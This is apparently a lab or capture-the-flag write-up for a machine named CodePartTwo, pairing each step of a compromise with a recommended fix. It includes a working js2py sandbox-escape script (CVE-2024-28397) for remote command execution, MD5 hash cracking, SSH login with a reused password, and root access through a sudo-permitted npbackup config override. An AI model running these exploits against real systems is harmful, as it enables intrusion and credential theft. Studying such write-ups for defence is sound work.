CodePartTwo
Summary
Target codeparttwo ($TARGET) ran a Python web application served by Gunicorn on port 8000. The application exposed an unauthenticated /run_code endpoint that passed caller-supplied JavaScript to the js2py library. A known sandbox-escape flaw in js2py ≤ 0.74 (CVE-2024-28397) lets me walk Python's internal class hierarchy from within JavaScript and invoke subprocess functions, producing unauthenticated OS command execution as the app OS user (uid=1001).
From that foothold I read the application's SQLite database and extracted three users' passwords stored as raw, unsalted MD5 hashes. Cracking marco's hash offline in seconds yielded the cleartext password [REDACTED: recovered credential], which he had reused as his OS login credential; SSH access as marco produced the user flag. Inspecting sudo rights revealed that marco could run the npbackup backup utility as root without a password and could supply an arbitrary configuration file via --config-file.
By copying the legitimate config, redirecting its backup paths entry from the application directory to /root, and triggering the backup as root, I archived and then restored root.txt — completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p22,8000 $TARGETcurl -si http://$TARGET:8000/Exact commands 2
curl -s -X POST http://$TARGET:8000/run_code -H 'Content-Type: application/json' -d '{"code":"1+1"}'ffuf -u http://$TARGET:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,302,401FixRemove or isolate the unauthenticated server-side code-execution endpointCritical
Exact commands 1
cat > rce.py << 'EOF'
import requests, json, sys
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
code = ('let cmd=' + json.dumps(cmd) + ';'
'let g=Object.getOwnPropertyNames({}).__getattribute__;'
'let b=g("__class__").__base__;'
'let result="";'
'for(let i in b.__subclasses__()){'
' let c=b.__subclasses__()[i];'
' if(c.__name__=="catch_warnings"){'
' let bi=c()._module.__builtins__;'
' result=bi.__dict__["__import__"]("subprocess").check_output(cmd,shell=true,text=true);'
' break;}}'
'result;')
print(requests.post("http://$TARGET:8000/run_code", json={'code': code}).json())
EOF
python3 rce.py 'id'Exact commands 2
python3 rce.py 'find /home/app -name "*.db" 2>/dev/null'python3 rce.py 'sqlite3 /home/app/app/users.db "SELECT * FROM users;"'Exact commands 2
echo '[REDACTED: recovered credential]' > marco.hashhashcat -m 0 marco.hash /usr/share/wordlists/rockyou.txt --forceFixReplace unsalted MD5 password hashes with a modern, slow, salted algorithmHigh
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no marco@$TARGETcat /home/marco/user.txtFixEnforce distinct credentials for web-application and OS accounts, and prefer SSH key authenticationHigh
Exact commands 5
sudo -lcp /home/marco/npbackup.conf /tmp/npbackup-root.confpython3 -c "from pathlib import Path; p=Path('/tmp/npbackup-root.conf'); s=p.read_text(); s=s.replace('paths:\n - /home/app/app/', 'paths:\n - /root'); p.write_text(s)"sudo npbackup --config-file /tmp/npbackup-root.conf --backupnpbackup --config-file /tmp/npbackup-root.conf --restore --destination /tmp/restore_root && cat /tmp/restore_root/root/root.txtFixRemove the NOPASSWD sudo rule for npbackup and lock the config file path to a root-owned fileCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 8000/tcp | http Gunicorn 20.0.4 |